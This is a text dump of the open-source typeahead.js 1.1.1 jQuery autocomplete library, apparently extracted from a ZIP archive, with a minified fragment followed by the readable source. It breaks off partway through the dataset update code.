this.isOpen()&&!this.eventBus.before("close")&&(this.menu.close(),this.input.clearHint(),this.input.resetInputValue(),this.eventBus.trigger("close")),!this.isOpen()},setVal:function(a){this.input.setQuery(b.toStr(a))},getVal:function(){return this.input.getQuery()},select:function(a){var b=this.menu.getSelectableData(a);return!(!b||this.eventBus.before("select",b.obj,b.dataset))&&(this.input.setQuery(b.val,!0),this.eventBus.trigger("select",b.obj,b.dataset),this.close(),!0)},autocomplete:function(a){var b,c,d;return b=this.input.getQuery(),c=this.menu.getSelectableData(a),d=c&&b!==c.val,!(!d||this.eventBus.before("autocomplete",c.obj,c.dataset))&&(this.input.setQuery(c.val),this.eventBus.trigger("autocomplete",c.obj,c.dataset),!0)},moveCursor:function(a){var b,c,d,e,f,g,h;return b=this.input.getQuery(),c=this.menu.selectableRelativeToCursor(a),d=this.menu.getSelectableData(c),e=d?d.obj:null,f=d?d.dataset:null,h=c?c.attr("id"):null,this.input.trigger("cursorchange",h),g=this._minLengthMet()&&this.menu.update(b),!g&&!this.eventBus.before("cursorchange",e,f)&&(this.menu.setCursor(c),d?this.input.setInputValue(d.val):(this.input.resetInputValue(),this._updateHint()),this.eventBus.trigger("cursorchange",e,f),!0)},destroy:function(){this.input.destroy(),this.menu.destroy()}}),c}();!function(){"use strict";function e(b,c){b.each(function(){var b,d=a(this);(b=d.data(q.typeahead))&&c(b,d)})}function f(a,b){return a.clone().addClass(b.classes.hint).removeData().css(b.css.hint).css(m(a)).prop("readonly",!0).removeAttr("id name placeholder required").attr({spellcheck:"false",tabindex:-1})}function h(a,b){a.data(q.attrs,{dir:a.attr("dir"),autocomplete:a.attr("autocomplete"),spellcheck:a.attr("spellcheck"),style:a.attr("style")}),a.addClass(b.classes.input).attr({spellcheck:!1});try{!a.attr("dir")&&a.attr("dir","auto")}catch(a){}return a}function m(a){return{backgroundAttachment:a.css("background-attachment"),backgroundClip:a.css("background-clip"),backgroundColor:a.css("background-color"),backgroundImage:a.css("background-image"),backgroundOrigin:a.css("background-origin"),backgroundPosition:a.css("background-position"),backgroundRepeat:a.css("background-repeat"),backgroundSize:a.css("background-size")}}function n(a){var c,d;c=a.data(q.www),d=a.parent().filter(c.selectors.wrapper),b.each(a.data(q.attrs),function(c,d){b.isUndefined(c)?a.removeAttr(d):a.attr(d,c)}),a.removeData(q.typeahead).removeData(q.www).removeData(q.attr).removeClass(c.classes.input),d.length&&(a.detach().insertAfter(d),d.remove())}function o(c){var d,e;return d=b.isJQuery(c)||b.isElement(c),e=d?a(c).first():[],e.length?e:null}var p,q,r;p=a.fn.typeahead,q={www:"tt-www",attrs:"tt-attrs",typeahead:"tt-typeahead"},r={initialize:function(e,m){function n(){var c,n,r,s,t,u,v,w,x,y,z,A;b.each(m,function(a){a.highlight=!!e.highlight}),c=a(this),n=a(p.html.wrapper),r=o(e.hint),s=o(e.menu),t=e.hint!==!1&&!r,u=e.menu!==!1&&!s,t&&(r=f(c,p)),u&&(s=a(p.html.menu).css(p.css.menu)),r&&r.val(""),c=h(c,p),(t||u)&&(n.css(p.css.wrapper),c.css(t?p.css.input:p.css.inputWithNoHint),c.wrap(n).parent().prepend(t?r:null).append(u?s:null)),A=u?k:i,v=new d({el:c}),w=new g({hint:r,input:c},p),x=new A({node:s,datasets:m},p),y=new j({$input:c,menu:x}),z=new l({input:w,menu:x,eventBus:v,minLength:e.minLength},p),c.data(q.www,p),c.data(q.typeahead,z)}var p;return m=b.isArray(m)?m:[].slice.call(arguments,1),e=e||{},p=c(e.classNames),this.each(n)},isEnabled:function(){var a;return e(this.first(),function(b){a=b.isEnabled()}),a},enable:function(){return e(this,function(a){a.enable()}),this},disable:function(){return e(this,function(a){a.disable()}),this},isActive:function(){var a;return e(this.first(),function(b){a=b.isActive()}),a},activate:function(){return e(this,function(a){a.activate()}),this},deactivate:function(){return e(this,function(a){a.deactivate()}),this},isOpen:function(){var a;return e(this.first(),function(b){a=b.isOpen()}),a},open:function(){return e(this,function(a){a.open()}),this},close:function(){return e(this,function(a){a.close()}),this},select:function(b){var c=!1,d=a(b);return e(this.first(),function(a){c=a.select(d)}),c},autocomplete:function(b){var c=!1,d=a(b);return e(this.first(),function(a){c=a.autocomplete(d)}),c},moveCursor:function(a){var b=!1;return e(this.first(),function(c){b=c.moveCursor(a)}),b},val:function(a){var c;return arguments.length?(e(this,function(c){c.setVal(b.toStr(a))}),this):(e(this.first(),function(a){c=a.getVal()}),c)},destroy:function(){return e(this,function(a,b){n(b),a.destroy()}),this}},a.fn.typeahead=function(a){return r[a]?r[a].apply(this,[].slice.call(arguments,1)):r.initialize.apply(this,arguments)},a.fn.typeahead.noConflict=function(){return a.fn.typeahead=p,this}}()});PK!�"u��'plugin/typeahead.js/typeahead.jquery.jsnu&1i�/*!
 * typeahead.js 1.1.1
 * https://github.com/twitter/typeahead.js
 * Copyright 2013-2017 Twitter, Inc. and other contributors; Licensed MIT
 */

(function(root, factory) {
    if (typeof define === "function" && define.amd) {
        define([ "jquery" ], function(a0) {
            return factory(a0);
        });
    } else if (typeof exports === "object") {
        module.exports = factory(require("jquery"));
    } else {
        factory(root["jQuery"]);
    }
})(this, function($) {
    var _ = function() {
        "use strict";
        return {
            isMsie: function() {
                return /(msie|trident)/i.test(navigator.userAgent) ? navigator.userAgent.match(/(msie |rv:)(\d+(.\d+)?)/i)[2] : false;
            },
            isBlankString: function(str) {
                return !str || /^\s*$/.test(str);
            },
            escapeRegExChars: function(str) {
                return str.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
            },
            isString: function(obj) {
                return typeof obj === "string";
            },
            isNumber: function(obj) {
                return typeof obj === "number";
            },
            isArray: $.isArray,
            isFunction: $.isFunction,
            isObject: $.isPlainObject,
            isUndefined: function(obj) {
                return typeof obj === "undefined";
            },
            isElement: function(obj) {
                return !!(obj && obj.nodeType === 1);
            },
            isJQuery: function(obj) {
                return obj instanceof $;
            },
            toStr: function toStr(s) {
                return _.isUndefined(s) || s === null ? "" : s + "";
            },
            bind: $.proxy,
            each: function(collection, cb) {
                $.each(collection, reverseArgs);
                function reverseArgs(index, value) {
                    return cb(value, index);
                }
            },
            map: $.map,
            filter: $.grep,
            every: function(obj, test) {
                var result = true;
                if (!obj) {
                    return result;
                }
                $.each(obj, function(key, val) {
                    if (!(result = test.call(null, val, key, obj))) {
                        return false;
                    }
                });
                return !!result;
            },
            some: function(obj, test) {
                var result = false;
                if (!obj) {
                    return result;
                }
                $.each(obj, function(key, val) {
                    if (result = test.call(null, val, key, obj)) {
                        return false;
                    }
                });
                return !!result;
            },
            mixin: $.extend,
            identity: function(x) {
                return x;
            },
            clone: function(obj) {
                return $.extend(true, {}, obj);
            },
            getIdGenerator: function() {
                var counter = 0;
                return function() {
                    return counter++;
                };
            },
            templatify: function templatify(obj) {
                return $.isFunction(obj) ? obj : template;
                function template() {
                    return String(obj);
                }
            },
            defer: function(fn) {
                setTimeout(fn, 0);
            },
            debounce: function(func, wait, immediate) {
                var timeout, result;
                return function() {
                    var context = this, args = arguments, later, callNow;
                    later = function() {
                        timeout = null;
                        if (!immediate) {
                            result = func.apply(context, args);
                        }
                    };
                    callNow = immediate && !timeout;
                    clearTimeout(timeout);
                    timeout = setTimeout(later, wait);
                    if (callNow) {
                        result = func.apply(context, args);
                    }
                    return result;
                };
            },
            throttle: function(func, wait) {
                var context, args, timeout, result, previous, later;
                previous = 0;
                later = function() {
                    previous = new Date();
                    timeout = null;
                    result = func.apply(context, args);
                };
                return function() {
                    var now = new Date(), remaining = wait - (now - previous);
                    context = this;
                    args = arguments;
                    if (remaining <= 0) {
                        clearTimeout(timeout);
                        timeout = null;
                        previous = now;
                        result = func.apply(context, args);
                    } else if (!timeout) {
                        timeout = setTimeout(later, remaining);
                    }
                    return result;
                };
            },
            stringify: function(val) {
                return _.isString(val) ? val : JSON.stringify(val);
            },
            guid: function() {
                function _p8(s) {
                    var p = (Math.random().toString(16) + "000000000").substr(2, 8);
                    return s ? "-" + p.substr(0, 4) + "-" + p.substr(4, 4) : p;
                }
                return "tt-" + _p8() + _p8(true) + _p8(true) + _p8();
            },
            noop: function() {}
        };
    }();
    var WWW = function() {
        "use strict";
        var defaultClassNames = {
            wrapper: "twitter-typeahead",
            input: "tt-input",
            hint: "tt-hint",
            menu: "tt-menu",
            dataset: "tt-dataset",
            suggestion: "tt-suggestion",
            selectable: "tt-selectable",
            empty: "tt-empty",
            open: "tt-open",
            cursor: "tt-cursor",
            highlight: "tt-highlight"
        };
        return build;
        function build(o) {
            var www, classes;
            classes = _.mixin({}, defaultClassNames, o);
            www = {
                css: buildCss(),
                classes: classes,
                html: buildHtml(classes),
                selectors: buildSelectors(classes)
            };
            return {
                css: www.css,
                html: www.html,
                classes: www.classes,
                selectors: www.selectors,
                mixin: function(o) {
                    _.mixin(o, www);
                }
            };
        }
        function buildHtml(c) {
            return {
                wrapper: '<span class="' + c.wrapper + '"></span>',
                menu: '<div role="listbox" class="' + c.menu + '"></div>'
            };
        }
        function buildSelectors(classes) {
            var selectors = {};
            _.each(classes, function(v, k) {
                selectors[k] = "." + v;
            });
            return selectors;
        }
        function buildCss() {
            var css = {
                wrapper: {
                    position: "relative",
                    display: "inline-block"
                },
                hint: {
                    position: "absolute",
                    top: "0",
                    left: "0",
                    borderColor: "transparent",
                    boxShadow: "none",
                    opacity: "1"
                },
                input: {
                    position: "relative",
                    verticalAlign: "top",
                    backgroundColor: "transparent"
                },
                inputWithNoHint: {
                    position: "relative",
                    verticalAlign: "top"
                },
                menu: {
                    position: "absolute",
                    top: "100%",
                    left: "0",
                    zIndex: "100",
                    display: "none"
                },
                ltr: {
                    left: "0",
                    right: "auto"
                },
                rtl: {
                    left: "auto",
                    right: " 0"
                }
            };
            if (_.isMsie()) {
                _.mixin(css.input, {
                    backgroundImage: "url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)"
                });
            }
            return css;
        }
    }();
    var EventBus = function() {
        "use strict";
        var namespace, deprecationMap;
        namespace = "typeahead:";
        deprecationMap = {
            render: "rendered",
            cursorchange: "cursorchanged",
            select: "selected",
            autocomplete: "autocompleted"
        };
        function EventBus(o) {
            if (!o || !o.el) {
                $.error("EventBus initialized without el");
            }
            this.$el = $(o.el);
        }
        _.mixin(EventBus.prototype, {
            _trigger: function(type, args) {
                var $e = $.Event(namespace + type);
                this.$el.trigger.call(this.$el, $e, args || []);
                return $e;
            },
            before: function(type) {
                var args, $e;
                args = [].slice.call(arguments, 1);
                $e = this._trigger("before" + type, args);
                return $e.isDefaultPrevented();
            },
            trigger: function(type) {
                var deprecatedType;
                this._trigger(type, [].slice.call(arguments, 1));
                if (deprecatedType = deprecationMap[type]) {
                    this._trigger(deprecatedType, [].slice.call(arguments, 1));
                }
            }
        });
        return EventBus;
    }();
    var EventEmitter = function() {
        "use strict";
        var splitter = /\s+/, nextTick = getNextTick();
        return {
            onSync: onSync,
            onAsync: onAsync,
            off: off,
            trigger: trigger
        };
        function on(method, types, cb, context) {
            var type;
            if (!cb) {
                return this;
            }
            types = types.split(splitter);
            cb = context ? bindContext(cb, context) : cb;
            this._callbacks = this._callbacks || {};
            while (type = types.shift()) {
                this._callbacks[type] = this._callbacks[type] || {
                    sync: [],
                    async: []
                };
                this._callbacks[type][method].push(cb);
            }
            return this;
        }
        function onAsync(types, cb, context) {
            return on.call(this, "async", types, cb, context);
        }
        function onSync(types, cb, context) {
            return on.call(this, "sync", types, cb, context);
        }
        function off(types) {
            var type;
            if (!this._callbacks) {
                return this;
            }
            types = types.split(splitter);
            while (type = types.shift()) {
                delete this._callbacks[type];
            }
            return this;
        }
        function trigger(types) {
            var type, callbacks, args, syncFlush, asyncFlush;
            if (!this._callbacks) {
                return this;
            }
            types = types.split(splitter);
            args = [].slice.call(arguments, 1);
            while ((type = types.shift()) && (callbacks = this._callbacks[type])) {
                syncFlush = getFlush(callbacks.sync, this, [ type ].concat(args));
                asyncFlush = getFlush(callbacks.async, this, [ type ].concat(args));
                syncFlush() && nextTick(asyncFlush);
            }
            return this;
        }
        function getFlush(callbacks, context, args) {
            return flush;
            function flush() {
                var cancelled;
                for (var i = 0, len = callbacks.length; !cancelled && i < len; i += 1) {
                    cancelled = callbacks[i].apply(context, args) === false;
                }
                return !cancelled;
            }
        }
        function getNextTick() {
            var nextTickFn;
            if (window.setImmediate) {
                nextTickFn = function nextTickSetImmediate(fn) {
                    setImmediate(function() {
                        fn();
                    });
                };
            } else {
                nextTickFn = function nextTickSetTimeout(fn) {
                    setTimeout(function() {
                        fn();
                    }, 0);
                };
            }
            return nextTickFn;
        }
        function bindContext(fn, context) {
            return fn.bind ? fn.bind(context) : function() {
                fn.apply(context, [].slice.call(arguments, 0));
            };
        }
    }();
    var highlight = function(doc) {
        "use strict";
        var defaults = {
            node: null,
            pattern: null,
            tagName: "strong",
            className: null,
            wordsOnly: false,
            caseSensitive: false,
            diacriticInsensitive: false
        };
        var accented = {
            A: "[AaªÀ-Åà-åĀ-ąǍǎȀ-ȃȦȧᴬᵃḀḁẚẠ-ảₐ℀℁℻⒜Ⓐⓐ㍱-㍴㎀-㎄㎈㎉㎩-㎯㏂㏊㏟㏿Aa]",
            B: "[BbᴮᵇḂ-ḇℬ⒝Ⓑⓑ㍴㎅-㎇㏃㏈㏔㏝Bb]",
            C: "[CcÇçĆ-čᶜ℀ℂ℃℅℆ℭⅭⅽ⒞Ⓒⓒ㍶㎈㎉㎝㎠㎤㏄-㏇Cc]",
            D: "[DdĎďDŽ-džDZ-dzᴰᵈḊ-ḓⅅⅆⅮⅾ⒟Ⓓⓓ㋏㍲㍷-㍹㎗㎭-㎯㏅㏈Dd]",
            E: "[EeÈ-Ëè-ëĒ-ěȄ-ȇȨȩᴱᵉḘ-ḛẸ-ẽₑ℡ℯℰⅇ⒠Ⓔⓔ㉐㋍㋎Ee]",
            F: "[FfᶠḞḟ℉ℱ℻⒡Ⓕⓕ㎊-㎌㎙ff-fflFf]",
            G: "[GgĜ-ģǦǧǴǵᴳᵍḠḡℊ⒢Ⓖⓖ㋌㋍㎇㎍-㎏㎓㎬㏆㏉㏒㏿Gg]",
            H: "[HhĤĥȞȟʰᴴḢ-ḫẖℋ-ℎ⒣Ⓗⓗ㋌㍱㎐-㎔㏊㏋㏗Hh]",
            I: "[IiÌ-Ïì-ïĨ-İIJijǏǐȈ-ȋᴵᵢḬḭỈ-ịⁱℐℑℹⅈⅠ-ⅣⅥ-ⅨⅪⅫⅰ-ⅳⅵ-ⅸⅺⅻ⒤Ⓘⓘ㍺㏌㏕fiffiIi]",
            J: "[JjIJ-ĵLJ-njǰʲᴶⅉ⒥ⒿⓙⱼJj]",
            K: "[KkĶķǨǩᴷᵏḰ-ḵK⒦Ⓚⓚ㎄㎅㎉㎏㎑㎘㎞㎢㎦㎪㎸㎾㏀㏆㏍-㏏Kk]",
            L: "[LlĹ-ŀLJ-ljˡᴸḶḷḺ-ḽℒℓ℡Ⅼⅼ⒧Ⓛⓛ㋏㎈㎉㏐-㏓㏕㏖㏿flfflLl]",
            M: "[MmᴹᵐḾ-ṃ℠™ℳⅯⅿ⒨Ⓜⓜ㍷-㍹㎃㎆㎎㎒㎖㎙-㎨㎫㎳㎷㎹㎽㎿㏁㏂㏎㏐㏔-㏖㏘㏙㏞㏟Mm]",
            N: "[NnÑñŃ-ʼnNJ-njǸǹᴺṄ-ṋⁿℕ№⒩Ⓝⓝ㎁㎋㎚㎱㎵㎻㏌㏑Nn]",
            O: "[OoºÒ-Öò-öŌ-őƠơǑǒǪǫȌ-ȏȮȯᴼᵒỌ-ỏₒ℅№ℴ⒪Ⓞⓞ㍵㏇㏒㏖Oo]",
            P: "[PpᴾᵖṔ-ṗℙ⒫Ⓟⓟ㉐㍱㍶㎀㎊㎩-㎬㎰㎴㎺㏋㏗-㏚Pp]",
            Q: "[Qqℚ⒬Ⓠⓠ㏃Qq]",
            R: "[RrŔ-řȐ-ȓʳᴿᵣṘ-ṛṞṟ₨ℛ-ℝ⒭Ⓡⓡ㋍㍴㎭-㎯㏚㏛Rr]",
            S: "[SsŚ-šſȘșˢṠ-ṣ₨℁℠⒮Ⓢⓢ㎧㎨㎮-㎳㏛㏜stSs]",
            T: "[TtŢ-ťȚțᵀᵗṪ-ṱẗ℡™⒯Ⓣⓣ㉐㋏㎔㏏ſtstTt]",
            U: "[UuÙ-Üù-üŨ-ųƯưǓǔȔ-ȗᵁᵘᵤṲ-ṷỤ-ủ℆⒰Ⓤⓤ㍳㍺Uu]",
            V: "[VvᵛᵥṼ-ṿⅣ-Ⅷⅳ-ⅷ⒱Ⓥⓥⱽ㋎㍵㎴-㎹㏜㏞Vv]",
            W: "[WwŴŵʷᵂẀ-ẉẘ⒲Ⓦⓦ㎺-㎿㏝Ww]",
            X: "[XxˣẊ-ẍₓ℻Ⅸ-Ⅻⅸ-ⅻ⒳Ⓧⓧ㏓Xx]",
            Y: "[YyÝýÿŶ-ŸȲȳʸẎẏẙỲ-ỹ⒴Ⓨⓨ㏉Yy]",
            Z: "[ZzŹ-žDZ-dzᶻẐ-ẕℤℨ⒵Ⓩⓩ㎐-㎔Zz]"
        };
        return function hightlight(o) {
            var regex;
            o = _.mixin({}, defaults, o);
            if (!o.node || !o.pattern) {
                return;
            }
            o.pattern = _.isArray(o.pattern) ? o.pattern : [ o.pattern ];
            regex = getRegex(o.pattern, o.caseSensitive, o.wordsOnly, o.diacriticInsensitive);
            traverse(o.node, hightlightTextNode);
            function hightlightTextNode(textNode) {
                var match, patternNode, wrapperNode;
                if (match = regex.exec(textNode.data)) {
                    wrapperNode = doc.createElement(o.tagName);
                    o.className && (wrapperNode.className = o.className);
                    patternNode = textNode.splitText(match.index);
                    patternNode.splitText(match[0].length);
                    wrapperNode.appendChild(patternNode.cloneNode(true));
                    textNode.parentNode.replaceChild(wrapperNode, patternNode);
                }
                return !!match;
            }
            function traverse(el, hightlightTextNode) {
                var childNode, TEXT_NODE_TYPE = 3;
                for (var i = 0; i < el.childNodes.length; i++) {
                    childNode = el.childNodes[i];
                    if (childNode.nodeType === TEXT_NODE_TYPE) {
                        i += hightlightTextNode(childNode) ? 1 : 0;
                    } else {
                        traverse(childNode, hightlightTextNode);
                    }
                }
            }
        };
        function accent_replacer(chr) {
            return accented[chr.toUpperCase()] || chr;
        }
        function getRegex(patterns, caseSensitive, wordsOnly, diacriticInsensitive) {
            var escapedPatterns = [], regexStr;
            for (var i = 0, len = patterns.length; i < len; i++) {
                var escapedWord = _.escapeRegExChars(patterns[i]);
                if (diacriticInsensitive) {
                    escapedWord = escapedWord.replace(/\S/g, accent_replacer);
                }
                escapedPatterns.push(escapedWord);
            }
            regexStr = wordsOnly ? "\\b(" + escapedPatterns.join("|") + ")\\b" : "(" + escapedPatterns.join("|") + ")";
            return caseSensitive ? new RegExp(regexStr) : new RegExp(regexStr, "i");
        }
    }(window.document);
    var Input = function() {
        "use strict";
        var specialKeyCodeMap;
        specialKeyCodeMap = {
            9: "tab",
            27: "esc",
            37: "left",
            39: "right",
            13: "enter",
            38: "up",
            40: "down"
        };
        function Input(o, www) {
            o = o || {};
            if (!o.input) {
                $.error("input is missing");
            }
            www.mixin(this);
            this.$hint = $(o.hint);
            this.$input = $(o.input);
            this.$input.attr({
                "aria-activedescendant": "",
                "aria-owns": this.$input.attr("id") + "_listbox",
                role: "combobox",
                "aria-readonly": "true",
                "aria-autocomplete": "list"
            });
            $(www.menu).attr("id", this.$input.attr("id") + "_listbox");
            this.query = this.$input.val();
            this.queryWhenFocused = this.hasFocus() ? this.query : null;
            this.$overflowHelper = buildOverflowHelper(this.$input);
            this._checkLanguageDirection();
            if (this.$hint.length === 0) {
                this.setHint = this.getHint = this.clearHint = this.clearHintIfInvalid = _.noop;
            }
            this.onSync("cursorchange", this._updateDescendent);
        }
        Input.normalizeQuery = function(str) {
            return _.toStr(str).replace(/^\s*/g, "").replace(/\s{2,}/g, " ");
        };
        _.mixin(Input.prototype, EventEmitter, {
            _onBlur: function onBlur() {
                this.resetInputValue();
                this.trigger("blurred");
            },
            _onFocus: function onFocus() {
                this.queryWhenFocused = this.query;
                this.trigger("focused");
            },
            _onKeydown: function onKeydown($e) {
                var keyName = specialKeyCodeMap[$e.which || $e.keyCode];
                this._managePreventDefault(keyName, $e);
                if (keyName && this._shouldTrigger(keyName, $e)) {
                    this.trigger(keyName + "Keyed", $e);
                }
            },
            _onInput: function onInput() {
                this._setQuery(this.getInputValue());
                this.clearHintIfInvalid();
                this._checkLanguageDirection();
            },
            _managePreventDefault: function managePreventDefault(keyName, $e) {
                var preventDefault;
                switch (keyName) {
                  case "up":
                  case "down":
                    preventDefault = !withModifier($e);
                    break;

                  default:
                    preventDefault = false;
                }
                preventDefault && $e.preventDefault();
            },
            _shouldTrigger: function shouldTrigger(keyName, $e) {
                var trigger;
                switch (keyName) {
                  case "tab":
                    trigger = !withModifier($e);
                    break;

                  default:
                    trigger = true;
                }
                return trigger;
            },
            _checkLanguageDirection: function checkLanguageDirection() {
                var dir = (this.$input.css("direction") || "ltr").toLowerCase();
                if (this.dir !== dir) {
                    this.dir = dir;
                    this.$hint.attr("dir", dir);
                    this.trigger("langDirChanged", dir);
                }
            },
            _setQuery: function setQuery(val, silent) {
                var areEquivalent, hasDifferentWhitespace;
                areEquivalent = areQueriesEquivalent(val, this.query);
                hasDifferentWhitespace = areEquivalent ? this.query.length !== val.length : false;
                this.query = val;
                if (!silent && !areEquivalent) {
                    this.trigger("queryChanged", this.query);
                } else if (!silent && hasDifferentWhitespace) {
                    this.trigger("whitespaceChanged", this.query);
                }
            },
            _updateDescendent: function updateDescendent(event, id) {
                this.$input.attr("aria-activedescendant", id);
            },
            bind: function() {
                var that = this, onBlur, onFocus, onKeydown, onInput;
                onBlur = _.bind(this._onBlur, this);
                onFocus = _.bind(this._onFocus, this);
                onKeydown = _.bind(this._onKeydown, this);
                onInput = _.bind(this._onInput, this);
                this.$input.on("blur.tt", onBlur).on("focus.tt", onFocus).on("keydown.tt", onKeydown);
                if (!_.isMsie() || _.isMsie() > 9) {
                    this.$input.on("input.tt", onInput);
                } else {
                    this.$input.on("keydown.tt keypress.tt cut.tt paste.tt", function($e) {
                        if (specialKeyCodeMap[$e.which || $e.keyCode]) {
                            return;
                        }
                        _.defer(_.bind(that._onInput, that, $e));
                    });
                }
                return this;
            },
            focus: function focus() {
                this.$input.focus();
            },
            blur: function blur() {
                this.$input.blur();
            },
            getLangDir: function getLangDir() {
                return this.dir;
            },
            getQuery: function getQuery() {
                return this.query || "";
            },
            setQuery: function setQuery(val, silent) {
                this.setInputValue(val);
                this._setQuery(val, silent);
            },
            hasQueryChangedSinceLastFocus: function hasQueryChangedSinceLastFocus() {
                return this.query !== this.queryWhenFocused;
            },
            getInputValue: function getInputValue() {
                return this.$input.val();
            },
            setInputValue: function setInputValue(value) {
                this.$input.val(value);
                this.clearHintIfInvalid();
                this._checkLanguageDirection();
            },
            resetInputValue: function resetInputValue() {
                this.setInputValue(this.query);
            },
            getHint: function getHint() {
                return this.$hint.val();
            },
            setHint: function setHint(value) {
                this.$hint.val(value);
            },
            clearHint: function clearHint() {
                this.setHint("");
            },
            clearHintIfInvalid: function clearHintIfInvalid() {
                var val, hint, valIsPrefixOfHint, isValid;
                val = this.getInputValue();
                hint = this.getHint();
                valIsPrefixOfHint = val !== hint && hint.indexOf(val) === 0;
                isValid = val !== "" && valIsPrefixOfHint && !this.hasOverflow();
                !isValid && this.clearHint();
            },
            hasFocus: function hasFocus() {
                return this.$input.is(":focus");
            },
            hasOverflow: function hasOverflow() {
                var constraint = this.$input.width() - 2;
                this.$overflowHelper.text(this.getInputValue());
                return this.$overflowHelper.width() >= constraint;
            },
            isCursorAtEnd: function() {
                var valueLength, selectionStart, range;
                valueLength = this.$input.val().length;
                selectionStart = this.$input[0].selectionStart;
                if (_.isNumber(selectionStart)) {
                    return selectionStart === valueLength;
                } else if (document.selection) {
                    range = document.selection.createRange();
                    range.moveStart("character", -valueLength);
                    return valueLength === range.text.length;
                }
                return true;
            },
            destroy: function destroy() {
                this.$hint.off(".tt");
                this.$input.off(".tt");
                this.$overflowHelper.remove();
                this.$hint = this.$input = this.$overflowHelper = $("<div>");
            }
        });
        return Input;
        function buildOverflowHelper($input) {
            return $('<pre aria-hidden="true"></pre>').css({
                position: "absolute",
                visibility: "hidden",
                whiteSpace: "pre",
                fontFamily: $input.css("font-family"),
                fontSize: $input.css("font-size"),
                fontStyle: $input.css("font-style"),
                fontVariant: $input.css("font-variant"),
                fontWeight: $input.css("font-weight"),
                wordSpacing: $input.css("word-spacing"),
                letterSpacing: $input.css("letter-spacing"),
                textIndent: $input.css("text-indent"),
                textRendering: $input.css("text-rendering"),
                textTransform: $input.css("text-transform")
            }).insertAfter($input);
        }
        function areQueriesEquivalent(a, b) {
            return Input.normalizeQuery(a) === Input.normalizeQuery(b);
        }
        function withModifier($e) {
            return $e.altKey || $e.ctrlKey || $e.metaKey || $e.shiftKey;
        }
    }();
    var Dataset = function() {
        "use strict";
        var keys, nameGenerator;
        keys = {
            dataset: "tt-selectable-dataset",
            val: "tt-selectable-display",
            obj: "tt-selectable-object"
        };
        nameGenerator = _.getIdGenerator();
        function Dataset(o, www) {
            o = o || {};
            o.templates = o.templates || {};
            o.templates.notFound = o.templates.notFound || o.templates.empty;
            if (!o.source) {
                $.error("missing source");
            }
            if (!o.node) {
                $.error("missing node");
            }
            if (o.name && !isValidName(o.name)) {
                $.error("invalid dataset name: " + o.name);
            }
            www.mixin(this);
            this.highlight = !!o.highlight;
            this.name = _.toStr(o.name || nameGenerator());
            this.limit = o.limit || 5;
            this.displayFn = getDisplayFn(o.display || o.displayKey);
            this.templates = getTemplates(o.templates, this.displayFn);
            this.source = o.source.__ttAdapter ? o.source.__ttAdapter() : o.source;
            this.async = _.isUndefined(o.async) ? this.source.length > 2 : !!o.async;
            this._resetLastSuggestion();
            this.$el = $(o.node).attr("role", "presentation").addClass(this.classes.dataset).addClass(this.classes.dataset + "-" + this.name);
        }
        Dataset.extractData = function extractData(el) {
            var $el = $(el);
            if ($el.data(keys.obj)) {
                return {
                    dataset: $el.data(keys.dataset) || "",
                    val: $el.data(keys.val) || "",
                    obj: $el.data(keys.obj) || null
                };
            }
            return null;
        };
        _.mixin(Dataset.prototype, EventEmitter, {
            _overwrite: function overwrite(query, suggestions) {
                suggestions = suggestions || [];
                if (suggestions.length) {
                    this._renderSuggestions(query, suggestions);
                } else if (this.async && this.templates.pending) {
                    this._renderPending(query);
                } else if (!this.async && this.templates.notFound) {
                    this._renderNotFound(query);
                } else {
                    this._empty();
                }
                this.trigger("rendered", suggestions, false, this.name);
            },
            _append: function append(query, suggestions) {
                suggestions = suggestions || [];
                if (suggestions.length && this.$lastSuggestion.length) {
                    this._appendSuggestions(query, suggestions);
                } else if (suggestions.length) {
                    this._renderSuggestions(query, suggestions);
                } else if (!this.$lastSuggestion.length && this.templates.notFound) {
                    this._renderNotFound(query);
                }
                this.trigger("rendered", suggestions, true, this.name);
            },
            _renderSuggestions: function renderSuggestions(query, suggestions) {
                var $fragment;
                $fragment = this._getSuggestionsFragment(query, suggestions);
                this.$lastSuggestion = $fragment.children().last();
                this.$el.html($fragment).prepend(this._getHeader(query, suggestions)).append(this._getFooter(query, suggestions));
            },
            _appendSuggestions: function appendSuggestions(query, suggestions) {
                var $fragment, $lastSuggestion;
                $fragment = this._getSuggestionsFragment(query, suggestions);
                $lastSuggestion = $fragment.children().last();
                this.$lastSuggestion.after($fragment);
                this.$lastSuggestion = $lastSuggestion;
            },
            _renderPending: function renderPending(query) {
                var template = this.templates.pending;
                this._resetLastSuggestion();
                template && this.$el.html(template({
                    query: query,
                    dataset: this.name
                }));
            },
            _renderNotFound: function renderNotFound(query) {
                var template = this.templates.notFound;
                this._resetLastSuggestion();
                template && this.$el.html(template({
                    query: query,
                    dataset: this.name
                }));
            },
            _empty: function empty() {
                this.$el.empty();
                this._resetLastSuggestion();
            },
            _getSuggestionsFragment: function getSuggestionsFragment(query, suggestions) {
                var that = this, fragment;
                fragment = document.createDocumentFragment();
                _.each(suggestions, function getSuggestionNode(suggestion) {
                    var $el, context;
                    context = that._injectQuery(query, suggestion);
                    $el = $(that.templates.suggestion(context)).data(keys.dataset, that.name).data(keys.obj, suggestion).data(keys.val, that.displayFn(suggestion)).addClass(that.classes.suggestion + " " + that.classes.selectable);
                    fragment.appendChild($el[0]);
                });
                this.highlight && highlight({
                    className: this.classes.highlight,
                    node: fragment,
                    pattern: query
                });
                return $(fragment);
            },
            _getFooter: function getFooter(query, suggestions) {
                return this.templates.footer ? this.templates.footer({
                    query: query,
                    suggestions: suggestions,
                    dataset: this.name
                }) : null;
            },
            _getHeader: function getHeader(query, suggestions) {
                return this.templates.header ? this.templates.header({
                    query: query,
                    suggestions: suggestions,
                    dataset: this.name
                }) : null;
            },
            _resetLastSuggestion: function resetLastSuggestion() {
                this.$lastSuggestion = $();
            },
            _injectQuery: function injectQuery(query, obj) {
                return _.isObject(obj) ? _.mixin({
                    _query: query
                }, obj) : obj;
            },
            update: function update(query) {
                var that = this, canceled = false, syncCalled = false, rendered = 0;
                this.cancel();
                this.cancel = function cancel() {
                    canceled = true;
                    that.cancel = $.noop;
                    that.async && that.trigger("asyncCanceled", query, that.name);
                };
                this.source(query, sync, async);
                !syncCalled && sync([]);
                function sync(suggestions) {
                    if (syncCalled) {
                        return;
                    }
                    syncCalled = true;
                    suggestions = (suggestions || []).slice(0, that.limit);
                    rendered = suggestions.length;
                    that._overwrite(query, suggestions);
                    if (rendered < that.limit && that.async) {
                        that.trigger("asyncRequested", query, that.name);
                    }
                }
